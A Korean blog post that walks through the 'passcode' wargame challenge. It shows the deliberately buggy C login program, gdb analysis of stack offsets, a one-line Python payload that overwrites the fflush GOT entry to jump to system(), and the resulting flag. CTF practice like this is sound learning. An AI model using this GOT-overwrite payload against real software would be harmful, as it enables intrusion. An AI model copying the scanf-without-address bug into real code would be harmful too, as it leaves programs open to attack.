Yozzang의 해킹일기 💻
article thumbnail
Published 2022. 7. 3. 00:37
Pwnable (5. passcode) Wargame/Pwnable
728x90

이번 포스트에서는 Pwnable의 passcode 문제에 대해 다루겠다.

 


문제 코드는 다음과 같다.

#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

## 문제 해석 :

문제를 실행해보니 다음과 같은 화면이 나온다.

세그멘테이션 폴트가 발생한 것을 알 수 있다.

 

코드를 확인해보니 passcode1을 입력 받을 부분에 passcode1의 주소값인 &passcode1이 사용되지 않는 것을 알 수 있다.

세그멘테이션 폴트 발생 원인

또한 우리의 최종 목적이 flag를 얻는 것이기 때문에 login()함수 중의 system("/bin/cat flag");명령어가 실행할 수 있게끔 하면 된다.

## 문제 풀이 :

우선 gdb를 통해 해당 파일을 분석해보겠다.

welcome()

48번째 줄에 scanf함수가 호출되고, 그 위에 빨간색 네모박스를 확인해보면 ebp-0x70에 어떤 값이 저장되는데, 해당 값이 name이라는 것을 추측해낼 수 있다.

ebp-0x70 = name

실제로 확인해본 결과, ebp-0x70에 name값이 저장되어 있다는 사실을 알 수 있다.

 

그럼 이어서 login() 함수를 분석해보겠다.

login()

여기서 우리는 passcode1와 system() 함수가 호출된 위치만 알아내면 된다.

34번째 줄을 확인하면 scanf() 함수가 호출 되는데, 그위에 빨간 박스를 보면 어떤 값이 ebp-0x10에 저장되어 있는데, 해당 값이 이후에도 계속 사용된 것을 미루어보아 passcode1이 저장된 위치임을 추측해낼 수 있다.

 

또한 초록색 박스의 다음줄이 system인 것을 보니 해당 주소값이 system() 함수가 호출된 위치임을 알 수 있다.

 

여기서 잠깐 정리하자면,

name[] 주소 = ebp-0x70 (0x0804862f)
passcode1 주소 = ebp-0x10 (0x0804857c)
system() 주소 = 0x080485e3

그리고 passcode1의 시작 부분과 name의 시작 부분의 차이가 0x60, 10진수로 환산하면 96인 것을 알 수 있다. 즉, name[100] 중 name[96] ~ [99]의 4바이트의 값이 passcode1의 값과 겹친다는 것을 알 수 있다.

 

login() 함수 중 passcode1을 입력받는 부분의 바로 다음 부분에 fflush() 라는 출력 버퍼를 비우는 함수가 실행되기 때문에 해당 함수의 주소를 system() 함수로 변경하면 우리가 원하는 결과를 얻어낼 수 있다.

 

그러기 위해 fflush() 함수의 주소도 알아보겠다.

fflush()

fflush() 주소 = 0x804a004

## 최종 결과 : 

### 공격문 : (python -c 'print "A" * 96 + "\x04\xa0\x04\x08" + "134514147"') | ./passcode

passcode1이 int 형이기 때문에 그에 따른 scanf() 함수는 %d(10진수)를 입력 받으므로 system()의 주소값을 10진수로 변환한다면 134514147이라는 값이 나온다.

system() 주소값 -> 10진수

### 실행 결과 :

공격 실행

Flag = Sorry mom.. I got confused about scanf usage :(

'Wargame > Pwnable' 카테고리의 다른 글

Pwnable (7. input)  (0) 2022.07.05
Pwnable (6. random)  (0) 2022.07.04
Pwnable (4. flag)  (0) 2022.07.02
Pwnable (3. bof)  (0) 2022.06.22
Pwnable (2. collision)  (0) 2022.06.19
profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!